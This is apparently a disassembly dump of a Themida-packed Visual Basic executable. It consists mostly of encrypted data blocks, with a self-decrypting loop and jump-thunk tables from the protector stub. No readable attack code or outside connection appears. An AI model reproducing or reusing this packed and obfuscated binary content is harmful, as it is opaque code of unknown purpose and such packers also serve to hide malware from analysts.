		dd 0A15571ACh, 0A6F5A1C5h, 9423891Eh, 0F1D56C53h, 89A61C0Fh
		dd 0E23E9423h, 60954E05h, 81B66DECh, 184DF695h,	37492F6Ch
		dd 2389CE74h, 2D4A2694h, 752EF78Eh, 0F6AB2E40h,	936DC9BDh
		dd 23892A98h, 794ECA94h, 40F2DBC5h, 662C1F38h, 0CDFF4346h
		dd 1B179423h, 945D2237h, 74397B84h, 15Dh, 6585618Ah, 0DBE884D6h
		dd 1A72C7E5h, 491E4217h, 15BD5C83h, 933BEA20h, 2FA4C91Ah
		dd 0F0F2C1Ah, 0AC5F7155h, 67FC779Fh, 80170B67h,	441692C7h
		dd 0DB5A8407h, 0D1EC0C6Fh, 928EC8h, 2DDCEED2h, 943C4F95h
		dd 5BD8F571h, 0DE5D6FA4h, 2CDAEF26h, 0D5C1F6ADh, 0E54CE378h
		dd 8A55093Eh, 397B0347h, 5427h,	0C15C6500h, 0D949401Ah
		dd 0FDEDCC7Ch, 0D68C4F21h, 0CC8BE79Bh, 0FFFFDC15h, 0CC7CEA58h
		dd 5AE1D3EDh, 0E8D79B4h, 22371B5Ah, 6A6DE281h, 36AC5F71h
		dd 0AC6DCC7Ch, 17A340BFh, 1532D632h, 0D4550965h, 0B5h
		dd 0DA85EFDCh, 9814C7DAh, 46739FF5h, 2F4C921Ch,	1EBD5C95h
		dd 0C3C5D4Ch, 31A867FCh, 7228457Ah, 3B300AF6h, 9F366229h
		dd 2FACC1DEh, 10874378h, 276E2257h, 94233F9Ch, 7155ECD3h
		dd 0D7017C7Ch, 3CE46EE1h, 31151105h, 0ABD3B00Ch, 1C31742Bh
		dd 0F7B3E89Fh, 0FED00BAAh, 999929E0h, 0A17D9423h, 0A1CAB4CCh
		dd 3851690Eh, 5C472427h, 9E199FFBh, 5C7B2703h, 381165A3h
		dd 2CD811B8h, 0AE172348h, 5E7D294Dh, 1FB66AABh,	0FD792D6Eh
		dd 574B8A3Eh, 0D8E47B24h, 9A3CD36Eh, 0CE3E8DB1h, 2B403420h
		dd 0CEA03BDAh, 2E8D7ADBh, 0D6A88494h, 0E3876103h, 27AFCCA8h
		dd 1EBD5CA1h, 9BDC8D4Ch, 8A6E8BE7h, 0F6D83E9Fh,	85A5A667h
		dd 1AEECE4Bh, 0D714B76Eh, 731B0002h, 5E974EB5h,	8589AEB2h
		dd 0F03DF2Eh, 0BD91CF78h, 0D5A79E16h, 3F219DB9h, 708DC47Ch
		dd 1B073CE3h, 262DB74Ch, 0BC536C98h, 2599CE75h,	671DED96h
		dd 4E04430h, 7FBC6FEAh,	31E524C8h, 6F661835h, 1937FBCh
		dd 0F6F7D372h, 569CA1C3h, 2FDD0AB9h, 0DB1328E1h, 8BF7C51h
		dd 27E057D3h, 81B50DFCh, 0DF519826h, 2681962Ch,	0CEF26E98h
		dd 395FEF2h, 0E7000000h, 80326D5Fh, 9952493Dh, 7519B064h
		dd 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h
		dd 7830A75Bh, 52CF5541h, 0C281E289h, 4,	3304EA83h, 14312414h
		dd 24143324h, 0E689565Ch, 4C681h, 0EE830000h, 24348704h
		dd 242C895Ch, 7B668h, 24148900h, 3CE8BF57h, 0E7C10E4Eh
		dd 40CF8106h, 0C14F2963h, 0EF8102EFh, 59B13F4Eh, 5D04B850h
		dd 0D8F75A92h, 7135D0F7h, 2D09A244h, 2B545CBDh,	8958C701h
		dd 0CD685FFDh, 8900004Fh, 4832424h, 555A0424h, 0F3240481h
		dd 8F663308h, 0B8500842h, 663308F3h, 58084229h,	5A2434FFh
		dd 8B04C483h, 8953242Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 1E92E95Ch, 0B8A3FFFAh, 6166134h, 0E0FFC503h,	6D8C758Eh
		dd 22F6EAC9h, 617C39CDh, 4E350080h, 47A661D8h, 6C37D617h
		dd 499CFDE3h, 4DA3898Bh, 6A8BA40h, 497FB64Fh, 6609C204h
		dd 1FB6FAAh, 67BE2ADDh,	538819A9h, 7299A0Eh, 26DB07A4h
		dd 4FE01CB9h, 5C81A96Dh, 7F11EB8Bh, 1234A05Ah, 72D19F98h
		dd 4D413839h, 34704C08h, 54C80756h, 3E1B3A41h, 5F8D85D9h
		dd 31591135h, 7CADFD45h, 22D227CFh, 0BE8h, 2900100h, 0BF81DD52h
		dd 0DC005AA3h, 0E78166h, 9E9587Bh, 66000000h, 0C499597Fh
		dd 93AEEC11h, 7166C081h, 0ABB0000h, 6831A92Eh, 1C3Dh, 8BF78B5Ah
		dd 81F28B08h, 233BF1E9h, 8178B313h, 49CCA0F1h, 6E930h
		dd 8BFD0000h, 18A43F4Ah, 120BF181h, 0DD8A0CA3h,	48BB0889h
		dd 836376C6h, 0F5204E8h, 683h, 860F00h,	5E000000h, 0BC850F4Ah
		dd 8DFFFFFFh, 1663AD8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0F58D89EDh, 0E9061009h
		dd 11h,	0D3A80EE5h, 87EFA7E3h, 0C681227h, 0FCBB8AEEh, 1985C756h
		dd 0AC061023h, 0B200006Bh, 0C185C7ADh, 61022h, 0E9000000h
		dd 0Dh,	0C891E620h, 7438F5E8h, 0F82DCF41h, 58F0F09h, 66000000h
		dd 930BD381h, 2ED5B5FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 254E8C3h, 633D326Eh
		dd 607FC63Bh, 9D895A52h, 6101651h, 0B995FF61h, 6A06102Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0F8D9C351h, 0BCEE215h, 10061985h,	0FF006A06h
		dd 1031C995h, 0EBC08B06h, 0D2B27F1Ch, 5F84289Bh, 0D27F99A2h
		dd 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 92AEDDA1h, 12E8D8h
		dd 83AC0000h, 0FE15DCA4h, 0A06BEF5Bh, 7CBE9585h, 9F0F8918h
		dd 5518D29h, 89580610h,	102D09B5h, 0E8C08106h, 0B100005Fh
		dd 17D6BE45h, 0B9600000h, 0B48959Ah, 5E8h, 3E94CB00h, 880F151Eh
		dd 0
; ---------------------------------------------------------------------------
		pop	esi
		popa


loc_5B1882:				; CODE XREF: Themida_:005B18BAj
		mov	ebx, [eax]
		or	[ebp+6100585h],	edi
		sub	ebx, 7BEE46E5h
		add	dx, 3257h
		xor	ebx, 0DD60A8h
		add	dl, 0B1h
		sub	ebx, 32FFC1F0h
		mov	ch, 0A0h
		mov	[eax], ebx
		sub	[ebp+610141Dh],	ecx
		sub	eax, 4
		xor	dh, 96h
		sub	esi, 1
		jnz	loc_5B1882
		jmp	loc_5B18D2
; ---------------------------------------------------------------------------
		db 34h,	2Eh, 0D4h
		dd 32BF8A0Ah, 162904E4h
		db 9, 73h
; ---------------------------------------------------------------------------


loc_5B18D2:				; CODE XREF: Themida_:005B18C0j
		jmp	loc_5B1A3C
; ---------------------------------------------------------------------------
		db 67h
		dd 0C52849D9h, 4377E705h, 5F6D5C3Ah, 61706E75h,	72656B63h
		dd 63617000h, 2E64656Bh, 657865h, 3Ah dup(0)
		db    0
		db 2 dup(0), 33h
aCannotFindS_Pl	db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		align 4
		dd 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B1A3C:				; CODE XREF: Themida_:loc_5B18D2j
		jmp	loc_5B3638
; ---------------------------------------------------------------------------
		push	6166808h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61668E4h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61669D1h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6166A8Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6166AD2h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6166BA7h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6166C02h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6166C50h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61673E4h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6167474h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6167548h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	616761Fh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6167684h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6167765h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	616780Bh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61678C0h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6167ED8h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6167FF5h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	616809Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 9Eh
		dd 0A635A9ECh, 8413C7FEh, 0B128A4DDh, 8E0DC1FEh, 291F9BDAh
		dd 0BEFDAFDDh, 99DA8B0Ah, 0B5F09625h, 94C982F9h, 604B3518h
		dd 6BDA1AE2h, 321FA502h, 39504479h, 84E15D92h, 0C5946675h
		dd 2A2FE324h, 2C038B54h, 3B1034B6h, 0F0456625h,	6FC167FCh
		dd 3CB006BCh, 36751794h, 4436E64Ah, 3CB0FD45h, 391D1994h
		dd 0D378431Dh, 96C5C196h, 943CB028h, 641047FDh,	9084C365h
		dd 0E1EF861Dh, 63263838h, 943CB0DFh, 7D1E3B37h,	5DAA03E6h
		dd 4E8A397Ah, 0B4000000h, 965EC1B7h, 0B09D87CBh, 5E6639F1h
		dd 63E9FEC0h, 0D41B96D7h, 36433244h, 0A635C421h, 0B9FCD5D4h
		dd 3E1A67FCh, 1AE93F2Ch, 16BC466Eh, 0A8164541h,	4B943CB0h
		dd 915C9938h, 71397A69h, 0E2h, 72A45E8Fh, 4BC47EBBh, 607D599Ah
		dd 447932C4h, 58973950h, 4B762DACh, 0CC7CE260h,	4A26026Dh
		dd 5D883F56h, 0CC7C14AEh, 5074F06Dh, 0CD2DDCh, 39F26DCCh
		dd 1AD14804h, 213F31E5h, 3380D86Ah, 98CF7592h, 9C9888ECh
		dd 44971EBFh, 0E185542Ah, 6176FAA6h, 3F6B9AAh, 4D015D98h
		dd 0A3FE873h, 0A03D1A16h, 1A8C219h, 9E155950h, 2D6E1FB6h
		dd 893EFD79h, 0F8DC584Ch, 72B153E6h, 0B4E7E4B6h, 0C5A6AB21h
		dd 2A6107BEh, 56DDFA76h, 0F534D8B2h, 9C412501h,	40352294h
		dd 3039AA7Ah, 2A000019h, 12894588h, 30A7235Ah, 0D8C4079h
		dd 1AA11D5Ah, 85833776h, 1A590B79h, 3576179Eh, 114C0279h
		dd 30651E9Dh, 0FCAF917Ch, 6BDA1446h, 327B419Eh,	0C8B3F7Eh
		dd 0D0AA1E53h, 7C47FBAEh, 0C39F6DCCh, 0BD5C1EA6h, 0E66D6D15h
		dd 856121FFh, 138F06Bh,	3C1514ECh, 0DA67FCD1h, 827F6C7Eh
		dd 0DBCBD97Eh, 32731695h, 1905E23Eh, 3C78F452h,	0C55C1794h
		dd 7B31CD20h, 0AAAD39h,	321F0000h, 39504479h, 0D2AC5897h
		dd 2E8D2D99h, 0E9FE995Eh, 0CCF1D842h, 93EE56Dh,	4D1DC655h
		dd 91856196h, 34469524h, 0FCE76C75h, 0BC8E8A67h, 0A35BE7A2h
		dd 5FBB943Ch, 686FD48Ah, 84875973h, 943CA33Eh, 5B7D5AD6h
		dd 0A6E12B0h, 6476F29Eh, 38F433D5h, 6BD00FC1h, 4036F6F3h
		dd 5400E9BDh, 4E000018h, 56E5599Ch, 34C377AEh, 61D8548Dh
		dd 3EBD71AEh, 998F4B8Ah, 0E4DFF6Dh, 296A1B9Ah, 458026B5h
		dd 24591289h, 0D0BBC5A8h, 6BDA1472h, 328F1592h,	0B18B3F7Eh
		dd 564A832Ah, 8D36FDDAh, 0C0458658h, 0F6999BF5h, 0A644FACFh
		dd 50447932h, 0A4679239h, 6DCC7C1Eh, 0E2567AF6h, 25CA767Dh
		dd 1C383CE8h, 34A4742h,	816A67FCh, 0C9234730h, 4002A974h
		dd 0A49423FAh, 0CBCFACC8h, 4AF4A34Fh, 0A99423FAh, 337E7B1Ah
		dd 13397BA4h, 0B9h, 31B81579h, 392739A2h, 0B794C982h, 0FC2057CCh
		dd 30F36F67h, 9D7FE987h, 0EEED0CA9h, 2DD42DDCh,	0B6B242A9h
		dd 9B7115A4h, 5FC3AFE4h, 4BB86683h, 6E1D2FACh, 78BE964Eh
		dd 19A0BAB6h, 3A1E3B74h, 0B3F49524h, 5F134EF4h,	0B66DE603h
		dd 954ECD81h, 0E423C5h,	0D94EC95Bh, 0C6CFC7AAh,	1767h
		dd 0BA6EB161h, 0DA4E853Bh, 0F16DA65Bh, 0D488C56Ah, 0E864A345h
		dd 0B0548602h, 8B3EBD71h, 63078E4Ah, 7E25B428h,	0A69A9549h
		dd 0DA155FE3h, 723AB76Bh, 5B4E7932h, 6DCC7CE7h,	7C942EDDh
		dd 0F4706DCCh, 504420FCh, 75875463h, 0FC03BDB6h, 24E75967h
		dd 9423849Eh, 62D6FA76h, 31B815C4h, 942739A2h, 0C098B5ECh
		dd 0FC2058C9h, 0FDAC7E67h, 9423A045h, 26A1C5A1h, 0AABC375h
		dd 64777E1Fh, 0F8629F8Ah, 57E2153Ah, 0AA867AB1h, 7F51CDCDh
		dd 0B3C809BCh, 0E4F7FEF3h, 42391F0Ah, 77C90B4Dh, 0F033EE4h
		dd 42DE6413h, 3A360B6Fh, 0CE754416h, 0ED962599h, 0E26F13B8h
		dd 1501D54Bh, 16AA84h, 0BF02A400h, 9DD48C0Bh, 0BAF39A21h
		dd 97D477FEh, 0B1F09423h, 81F30FFDh, 9D1C90CFh,	0A82FABECh
		dd 8413C702h, 3732A6DBh, 16FC4645h, 9B186BDAh, 5B04D711h
		dd 0E18A5126h, 0DC513FACh, 27FFB3E8h, 1666BEh, 6BAE6000h
		dd 89C068EFh, 669F46D5h, 83C063F2h, 5D9C50C7h, 6D9FEBE1h
		dd 39C07CBBh, 54E35798h, 40B773AEh, 0F3D65287h,	16A02209h
		dd 67446BDAh, 5C04D7DDh, 395C3825h, 0AE37AEFFh,	34692299h
		dd 77647340h, 8081A665h, 987D67FCh, 61481622h, 943C0CE1h
		dd 67442905h, 7D9FDF0h,	78528F34h, 3C7C3191h, 8459D594h
		dd 8F981EBAh, 67795388h, 7C309279h, 58D4943Ch, 201B8883h
		dd 22999E0Ch, 0B7EC936Fh, 6E8B67CBh, 46F5B0ACh,	7BBB68AEh
		dd 9FB12AC9h, 1C51FAC1h, 984D0C68h, 60A18A5Fh, 630CB3Dh
		dd 0F5A1DA8Fh, 54A15571h, 454416C5h, 36DC8767h,	0D7A9C39Fh
		dd 0E6895D04h, 5D79FDA9h, 23B0CDA9h, 493477Ch, 0C1C1265Bh
		dd 4FF8FB5Dh, 15914E57h, 0DB8B0000h, 0EF952498h, 0D07504B8h
		dd 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch
		dd 0F266A145h, 0D387BC63h, 9D25E4D8h, 796BDA17h, 4002B07Ch
		dd 0AD6DCC7Ch, 6DCC0C11h, 33FC48F6h, 9C11AD92h,	7D269233h
		dd 9CEB5752h, 0F0B9233h, 3CC68633h, 7C284C17h, 15366Bh
		dd 3B7E3000h, 1950F87Fh, 366F16A5h, 1350F382h, 2D6C2097h
		dd 1D4FBBB1h, 29B02C6Bh, 4934788h, 30A7235Eh, 0A3864277h
		dd 1050F299h, 37B46BDAh, 5E04D76Dh, 0D6F36F23h,	916B7087h
		dd 0FC7D559Ah, 0C875F167h, 4A07230Ah, 0E827B064h, 0E2000014h
		dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh
		dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h
		dd 6BDA10DEh, 0D7F3B936h, 6E225F04h, 0A55ED5F2h, 5E058470h
		dd 6D4E7D29h, 0BF65F4D6h, 7C2B9792h, 4FCB6DCCh,	50A15673h
		dd 30336B2Ah, 47h, 7C44029Ah, 32D96DCCh, 0B358E3FDh, 3A9D8A76h
		dd 5C2725ACh, 76401D39h, 0B3FDF4CFh, 853DEC6Dh,	9A92688Ah
		dd 0CBC2BAF3h, 4C28DC17h, 0E6584C28h, 8AB111F8h, 0D9559268h
		dd 14514504h, 0F06B0000h, 85C26539h, 32C08C61h,	93D83B79h
		dd 155B87h, 0FCE11D83h,	163A8026h, 95D27544h, 0D772D0BBh
		dd 96926DCCh, 0E9F0C5C1h, 9B27E2FCh, 7B6DCCD7h,	0D74AF89Fh
		dd 3CE36DCCh, 67171B07h, 883AF10Bh, 6C6DCCD7h, 0FFAD4F0h
		dd 67FC80B6h, 0B58D450h, 2EDDEFECh, 9E0C63E5h, 0C2ABC5A1h
		dd 8A438814h, 1BE5D29Dh, 81024492h, 0F6959166h,	0E3A2164Fh
		dd 9E2CD65Ah, 4C0037EDh, 0EE017CDh, 0D68939F0h,	0F16D9E2Ch
		dd 0F5AB2ADCh, 0E675D2BEh, 73EE64Fh, 8C458853h,	26B53F8Ah
		dd 0BD33487Dh, 247h, 1EBD5C0Fh,	0CB77324Ch, 2B6DCC7Ch
		dd 43461A2Fh, 67FC0B4Ah, 3D6A884h, 0F67A265Dh, 0FEA625E1h
		dd 0DC8413C7h, 0BC7FF1A5h, 0F6ADCA07h, 9423FD48h, 47832201h
		dd 5A0B0106h, 203D0E23h, 2B6ED93h, 0B4EBA118h, 3FE564C0h
		dd 8392F308h, 0B4458658h, 16819F57h, 33F60ADFh,	9E135332h
		dd 25A450CCh, 0AF2A4483h, 34AABFFCh, 0D0C403A5h, 13333B89h
		dd 0C867389Eh, 0D488C769h, 5973686Fh, 10B25987h, 0F49E1333h
		dd 333B8782h, 7FDB9E13h, 549D8663h, 0F2942356h,	540B8A76h
		dd 0F49CDC84h, 59705FCEh, 3CF0D4F0h, 25D106BDh,	305CC76h
		dd 70AF6180h, 1F5F0584h, 5BEE5869h, 3DE90D6Bh, 0A3822182h
		dd 52CEC201h, 0AD44DB6Eh, 32A6DB84h, 0DAC6FDA3h, 22CE05BBh
		dd 0A4481365h, 98B5B165h, 1FC56C03h, 68A974E8h,	48459B41h
		dd 0BDh, 6A96D7C2h, 6608F180h, 8BC7754h, 4E0909C0h, 0EC080458h
		dd 0B0EFA138h, 5DF487C4h, 3DF130D4h
		dd 6B0C2F82h, 930F33h, 327D0000h, 39504479h, 3ADE5492h
		dd 89A7DF79h, 22C8936Dh, 80373BE7h, 9C988CCDh, 23C8BFBFh
		dd 835F944Bh, 7955F88Fh, 8AE69AD5h, 9928BA66h, 8221D6FAh
		dd 548942E3h, 923306D8h, 827A6C51h, 0FF945DE5h,	53DC35EAh
		dd 46BC336Ah, 0C2000000h, 2B6C1D9Ch, 0CCB2C67Ch, 25421E6Dh
		dd 1EBD5C9Fh, 19945D4Ch, 363267FCh, 4B0EF04Ah, 0C9AD599Ah
		dd 239F60E2h, 0C0474F94h, 0BFE5A90Ch, 0D415B8CFh, 9630DBF0h
		dd 75942333h, 6F42A73Eh, 4F397BDAh, 9Fh, 1EBD5CBDh, 266C5D4Ch
		dd 9E7A67FCh, 0F62DD3F2h, 0D60DB342h, 0BEF5AB2Ah, 18A375D2h
		dd 0FB474271h, 1B9423AAh, 7546233Fh, 0B2CFFCDEh, 2737A934h
		dd 0E99F1C31h, 3A24F6B2h, 230EF34Fh, 42171394h,	7BC3743Dh
		dd 465439h, 5CB60000h, 1F411BC0h, 0CF8F882Eh, 0C196A5C6h
		dd 0CC9258CAh, 0CEA07CEDh, 72B6E99Dh, 98B55BABh, 1FC594E6h
		dd 0AE1813E8h, 8CEDCCEAh, 0F5015EF5h, 8D1514E6h, 296DCCEAh
		dd 0EAEE5457h, 2A066DCCh, 10119246h, 6B000000h,	675396D7h
		dd 77B4F10Ch, 53E762h, 0D7550000h, 6661ED96h, 2F4C711Ch
		dd 0BCEFDA4h, 0B671B58h, 0CC8FA61Ch, 0FEE23E6Dh, 96CD7312h
		dd 1BED9322h, 0A2DB9266h, 724E72EEh, 79997358h,	0A121C5C6h
		dd 0CC1858EAh, 8460BC6Dh, 0B14AB767h, 0A813422Eh, 496DCC18h
		dd 935E9B3Ah, 73336AD1h, 0BDDh,	1CC35CD9h, 1ED51668h, 0A856398Ch
		dd 7F4E3512h, 8E9B63C2h, 529B5EF5h, 0C2BD156Ch,	0CA55ED9Ch
		dd 0B5B11B99h, 3A3098h,	5C9A0000h, 9421CC3h, 0DA2EAC2Dh
		dd 8B6D8A39h, 0CCE722A0h, 0CBBEA06Dh, 6DCCE777h, 0C4B6938Fh
		dd 1DC39668h, 21363AE6h, 0D2723665h, 6211BB58h,	68CB26C3h
		dd 8CABDCDEh, 21000002h, 8E1CC35Ch, 7932BA12h, 522E7644h
		dd 0F6AAE187h, 0D7C75D7Ah, 7C4002A9h, 0C8A46DCCh, 2231ECB3h
		dd 3C11366Bh, 2F000000h, 7C23F3ACh, 0FBD75B47h,	0C35C46DEh
		dd 93E4A13h, 587CB9E0h,	0D310B386h, 9E26431Fh, 7C6BD4D7h
		dd 0C836DCCh, 0A3E08353h, 734F73EFh, 32F5D7A5h,	4274427Bh
		dd 30408Ah, 5C8C0000h, 0D78E1CC3h, 0CC7C6BD4h, 0E7B5A16Dh
		dd 3EF96D7h, 0D74B8968h, 324CDE02h, 0C506A77Bh,	4D71BA1h
		dd 0C081761h, 9B82CD4Fh, 9267CBB7h, 450233D9h, 0DA06A1EAh
		dd 0FBE5F736h, 0B886A7D2h, 1302A166h, 0B55EB0AFh, 0B0DC6625h
		dd 3C38B55Eh, 4B13E844h, 647EA71h, 8CC16AF1h, 438226ADh
		dd 8A291864h, 4BFF4ABh,	560CDC83h, 0B870671Bh, 0AA816581h
		dd 0DA67714h, 0C3F8AF76h, 0ABE08700h, 29640AD1h, 0BC706754h
		dd 9A254687h, 0BEABE69Ch, 0E9FE905Eh, 5E6F8542h, 260561B5h
		dd 69C8675Ah, 0F6CA8DC2h, 94E2CBF5h, 0E502CA5Eh, 877BBA6Eh
		dd 62E0CBB5h, 82B55E97h, 6DD5D4A6h, 89B55E97h, 0AAE6D0ADh
		dd 89A847D6h, 0A534A8E7h, 0E9F2C9FEh, 97803D47h, 7D3CB55Eh
		dd 0C9B98EC9h, 84FACE6Dh, 62F4FD47h, 4E2BAF31h,	984FD66Dh
		dd 0C067E063h, 7E06AC8Bh, 0CA6B0AB9h, 0D912EC21h, 4EEEB46Dh
		dd 7E390E6Dh, 229CA9A2h, 4914FBFh, 4C59CEFEh, 1F3C18AFh
		dd 0DFB6EB94h, 0DBF534D8h, 4B70A960h, 22B50EA6h, 8A3146D4h
		dd 85AC43FEh, 522EA9DEh, 8BC57D2Ch, 0B45AB55Eh,	0F9A98D79h
		dd 0F2507Dh, 9128CF65h,	7932F0BCh, 6E127644h, 50CB077Dh
		dd 51C99996h, 7A11021Dh, 5655274Bh, 6DCC9FECh, 754F2C08h
		dd 8D1BC05Ch, 393296D7h, 9651CA29h, 0D766F6C1h,	70245D04h
		dd 569135F4h, 22437E81h, 28B3366Bh, 0BE324782h,	49h, 80C05C0Ch
		dd 0E5B38FCAh, 580B96D7h, 9023CC54h, 92BBA5BBh,	75AEDDADh
		dd 0B770E7DEh, 1BE6582h, 0DD6DCC7Dh, 0F5D7BB81h, 75437A32h
		dd 0CA7B3E42h, 0D7D87489h, 9A34C196h, 0FFECA174h, 50B8D5A3h
		dd 72EF0C4Dh, 42h, 25C05CCAh, 0C6B5F096h, 6DCC7C7Ch, 0F2B89C98h
		dd 235E04D7h, 2D6F36Fh,	0CC7CBE07h, 0ECFE766Dh,	937FB86Dh
		dd 0D7F2BA8Fh, 5E04D7F5h, 0D6F36F23h, 5E70A75Dh, 68AC616Dh
		dd 0B25D8ABFh, 0BA1B65Ch, 96D78A42h, 0A3406817h, 0FFACC12Ah
		dd 6DCCBB38h, 0FD13359Eh, 287FFFFh, 6DCC7C44h, 69E5FA03h
		dd 0BDF93BF2h, 0F7429E6Dh, 0D8523E22h, 24BF0306h, 0DB576DCCh
		dd 24BD05FEh, 0DC926DCCh, 30D6F5A1h, 24B60CFFh,	0D24E6DCCh
		dd 0E18302EEh, 0D772EEA2h, 7E2DA948h, 6DCC24C4h, 0B6204420h
		dd 8BD64FBh, 24DC5BCFh,	81471EDh, 71559438h, 9735D685h
		dd 620A23B6h, 0AC60772Bh, 9D06B96Dh, 77C9BA06h,	0EA043DE4h
		dd 6679833Fh, 0F20763D0h, 7637B251h, 5675C124h,	221h, 7C4502B4h
		dd 0BC7F6DCCh, 0F9B0CA07h, 6DCC7C49h, 499CB1ADh, 6C1F31AAh
		dd 67FC1847h, 75BFB09Dh, 0E6508294h, 99151111h,	3E326B22h
		dd 0B66AA147h, 0F197691Fh, 122E6D1Fh, 32DE025Eh, 0CBA536BDh
		dd 13694BE0h, 5AFF5B9Eh, 4037B986h, 548B1C08h, 4E00000Dh
		dd 56E5599Ch, 34C377AEh, 61D8548Dh, 3EBD71AEh, 998F4B8Ah
		dd 0E4DFF6Dh, 296A1B9Ah, 458026B5h, 24591289h, 0D0BBC5A8h
		dd 6BDA0F72h, 0D78F1592h, 48255C04h, 0F39FD48Bh, 5CDBF7FEh
		dd 906BFBD8h, 5B923AF1h, 0D5A7CBA7h, 0F6139BD6h, 25373367h
		dd 2B6EF96h, 54FACE73h,	0F7096D19h, 26F08E34h, 0E60A6694h
		dd 689F4514h, 4BF49393h, 6F1A4416h, 9426F0D3h, 64223733h
		dd 7953888Fh, 1685B192h, 74D9559Eh, 4032A34Ah, 0C4A730E4h
		dd 0BE00000Ch, 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh
		dd 9FFBBFAh, 9EDD8FFDh,	0B9FAAB2Ah, 95D07605h, 0B4E9A219h
		dd 802B15F8h, 6BDA08C2h, 32FFC522h, 0AF2A4479h,	467F26FAh
		dd 0A95F762Ah, 0BEA27E72h, 0B883FDA9h, 482CD811h, 0FD43D233h
		dd 1651146h, 9D500BE5h,	87597F5Ch, 5F39F846h, 0EAFF8C61h
		dd 0FCAFFC41h, 0BC8E8A67h, 0EF0C4BFDh, 237F067h, 1DAF946h
		dd 0E0B66CEFh, 2105F128h, 0F8D55145h, 745329E0h, 37339E06h
		dd 4EB12825h, 0C91D97A6h, 580DCCB4h, 52C08229h,	3F249E16h
		dd 35EC8767h, 90472B63h, 8C4A0D9h, 0EFA3DC91h, 0E0FA2FD8h
		dd 7E1AE1EBh, 7A318F9Ch, 5A4C2145h, 738D4E65h, 26108BB8h
		dd 4AEF6B94h, 5E22D66Ah, 0F0871004h, 0EA00000Bh, 0D2490548h
		dd 0F067E31Ah, 0CD4C0039h, 0DA61DD1Ah, 4543F736h, 0DA19CB39h
		dd 0F536D75Eh, 0D10CC239h, 0F025DE5Dh, 0BC6F513Ch, 6BDA0906h
		dd 323B01DEh, 63504479h, 0B6758754h, 67FC16ADh,	4813ED49h
		dd 0B7BB67A2h, 0EF0C4D00h, 6638F067h, 0FB9A86BFh, 5320E45h
		dd 0B3EF7764h, 1995B1CFh, 98B2EBA2h, 0F6996B21h, 0F6C09DB9h
		dd 1EBD5C70h, 2C5C5D4Ch, 0EE6A67FCh, 6EA95DDCh,	0DDCC9E82h
		dd 9423AC65h, 0D6C8A581h, 23AC378Fh, 69DD694h, 7B660AE3h
		dd 82EA39h, 32600000h, 384F437Ah, 2EAD5990h, 51483C79h
		dd 9BE8649Bh, 0E61BC47Ch, 401A363Ah, 0FC0E4C49h, 3DF16867h
		dd 58552F9h, 0EFD31791h, 2B4328DAh, 917D2888h, 6C6207EBh
		dd 224A077Eh, 0B196172h, 73130000h, 47FD7C30h, 681D9C10h
		dd 47FC7B2Fh, 25C74E0Ah, 87472E6h, 43F736DAh, 5CD011B4h
		dd 3AEE29DDh, 5BCF04BBh, 259D8C70h, 0C16BDA0Ah,	4D758E4h
		dd 2A5245Dh, 752BA8C5h,	54198A3Eh, 73000000h, 4F437A32h
		dd 76885362h, 0FC1226B3h, 0BB6EC067h, 94239607h, 0FA5F83DFh
		dd 4A0737CEh, 0B4C3D4C0h, 0AE00000Ah, 7605B9FCh, 942397CEh
		dd 81F8B4EDh, 9E1D91CEh
		dd 392FABEAh, 0AEED9FCDh, 89CA7BFAh, 65A046D5h,	84B972E9h
		dd 30DBE5C8h, 6BDA0A92h, 0D7AF7572h, 0A5245D04h, 29B2C700h
		dd 4D334D82h, 0CC7CE45Eh, 4724006Dh, 52874057h,	5B7C5378h
		dd 41961BDBh, 6C4B7A2Ch, 4ABD10D5h, 489D336Ah, 0EF000002h
		dd 225F04D7h, 9D4C7145h, 0ABC516h, 67FC2063h, 7B2CA783h
		dd 88987824h, 37499221h, 0A4318F74h, 16156761h,	6D8457ACh
		dd 0F608EC48h, 2A7CBE63h, 0FBF2350Eh, 0CAA65A76h, 0F504F1ADh
		dd 0A14514E6h, 0A1B6BA66h, 0CCBFA1BFh, 6D843976h, 0CEB5928Eh
		dd 67B3C4EEh, 1E401A16h, 5FF4F42Dh, 0ACC188A3h,	2943782Fh
		dd 0DDCCFBB2h, 97F8C865h, 0ACC1A581h, 0C7FCA332h, 0DC699022h
		dd 3DA67E49h, 9D3h, 5EDA1DCDh, 3EFA31D7h, 65D912B7h, 38F431D6h
